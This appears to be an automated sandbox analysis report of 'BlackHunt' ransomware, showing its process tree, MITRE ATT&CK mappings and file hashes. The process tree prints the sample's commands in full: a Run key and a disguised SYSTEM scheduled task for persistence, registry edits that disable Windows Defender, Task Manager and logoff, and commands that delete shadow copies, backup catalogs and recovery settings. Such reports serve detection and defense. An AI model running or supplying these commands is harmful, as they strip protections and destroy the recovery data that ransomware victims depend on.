C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:2604
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:1720
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2624
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:1012
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:2652
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2660
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2668
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:772
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2888
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2128
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2444
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1756
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2572
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2184
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2796
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2968
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2820
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:3044
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2792
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:2324
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2840
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2644
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2812
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1628
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2980
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:668
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:1556
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2368
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:1700
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:1328
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:1652
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2240
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:1676
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2796
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1896
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3000
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2248
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2292
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2560
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2640
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2564
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:1504
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:816
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2292
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:592
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2856
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:336
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2204
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:440
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2132
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1036
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2324
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1500
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1752
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:584
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:2120
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:632
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2820
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe" /F2⤵PID:1872
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe" /F3⤵
- Creates scheduled task(s)
PID:1032
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1768
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2784
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2688
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2384
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1744
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2144
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2220
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:1564
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1812
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:284
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1072
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1480
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2320
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2804
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2488
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:308
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1108
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2096
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1448
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2512
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2444
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1356
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2556
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:1204
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5b3a2f9231e50859bff7ff1118439bf0a
SHA187dca87d8833253abaf14da36e7b2a158721894c
SHA256cc99aa39c6f74ad2e642de29f97e7b12e857c19e8050d5b78f2b094e1c5ff371
SHA512aa6276ad9d9466cf8137544a48fd3a423e7d4449bac63dd7798b97ca592a37d77d42f843fe4ed0c6cbb6f8ece7c79f99c4d1d9e75902893a09f24bc3b26c1832
-
Filesize
12KB
MD5daa696b99a5b674c7b41c994a8cb7238
SHA1f80e77017eed0143e1c27988048cc2c5cb44c8a1
SHA256c9678bfb53a1e9d38a11a381d83c389d3eed33d27d20c3011a42ad79847319e7
SHA512205dd4ad4b96d415219d293b00f7a53124156352f219c6f4e5273f06d641623bac29397dcc4d616834b62e51bad9c9e6fdc472085048674cc8f781fc664cef98
-
Filesize
684B
MD5e97f91bbf2f2b17a5f9cbd5a9e75d35b
SHA1aa74d80de16891256b50d681d8102df81fd336bf
SHA25640593e5013f87e53e6801497645d3a8bcaebaa6122a348756c39b92c3408c2bc
SHA5129e967f5034b7b065d9f9407c56826aed7aa3d819751be6ae37720242a4b1d03b3e7ee1bc42d0dd07c570f6a3f95b0dd807f6b03afd24899905cec90e80490c97